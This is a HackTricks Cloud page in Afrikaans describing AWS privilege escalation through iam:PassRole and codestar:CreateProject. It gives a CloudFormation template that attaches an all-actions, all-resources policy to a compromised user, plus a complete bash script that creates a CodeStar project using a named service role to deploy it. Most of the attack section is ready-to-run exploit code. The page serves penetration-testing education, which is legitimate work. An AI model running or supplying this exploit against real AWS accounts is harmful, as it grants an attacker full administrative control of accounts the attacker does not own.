Files
hacktricks-cloud/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md

2.7 KiB

iam:PassRole, codestar:CreateProject

{{#include ../../../../banners/hacktricks-training.md}}

Met hierdie toestemmings kan jy 'n codestar IAM Rol misbruik om arbitraire aksies deur 'n cloudformation sjabloon uit te voer.

Om dit te benut, moet jy 'n S3-bucket skep wat toeganklik is vanaf die aangevalde rekening. Laai 'n lêer op met die naam toolchain.json. Hierdie lêer moet die cloudformation sjabloon exploit bevat. Die volgende kan gebruik word om 'n bestuurde beleid aan 'n gebruiker onder jou beheer toe te ken en administrateur toestemmings te gee:

{
"Resources": {
"supercodestar": {
"Type": "AWS::IAM::ManagedPolicy",
"Properties": {
"ManagedPolicyName": "CodeStar_supercodestar",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
},
"Users": ["<compromised username>"]
}
}
}
}

Laai ook hierdie empty zip lêer op na die bucket:

{{#file}} empty.zip {{#endfile}}

Onthou dat die bucket met albei lêers toeganklik moet wees deur die slagoffer rekening.

Met albei dinge opgelaai kan jy nou voortgaan met die exploitation deur 'n codestar projek te skep:

PROJECT_NAME="supercodestar"

# Crecte the source JSON
## In this JSON the bucket and key (path) to the empry.zip file is used
SOURCE_CODE_PATH="/tmp/surce_code.json"
SOURCE_CODE="[
{
\"source\": {
\"s3\": {
\"bucketName\": \"privesc\",
\"bucketKey\": \"empty.zip\"
}
},
\"destination\": {
\"codeCommit\": {
\"name\": \"$PROJECT_NAME\"
}
}
}
]"
printf "$SOURCE_CODE" > $SOURCE_CODE_PATH

# Create the toolchain JSON
## In this JSON the bucket and key (path) to the toolchain.json file is used
TOOLCHAIN_PATH="/tmp/tool_chain.json"
TOOLCHAIN="{
\"source\": {
\"s3\": {
\"bucketName\": \"privesc\",
\"bucketKey\": \"toolchain.json\"
}
},
\"roleArn\": \"arn:aws:iam::947247140022:role/service-role/aws-codestar-service-role\"
}"
printf "$TOOLCHAIN" > $TOOLCHAIN_PATH

# Create the codestar project that will use the cloudformation epxloit to privesc
aws codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME \
--source-code file://$SOURCE_CODE_PATH \
--toolchain file://$TOOLCHAIN_PATH

Hierdie exploit is gebaseer op die Pacu exploit van hierdie voorregte: https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997 Daarop kan jy 'n variasie vind om 'n admin bestuurde beleid vir 'n rol te skep in plaas van vir 'n gebruiker.

{{#include ../../../../banners/hacktricks-training.md}}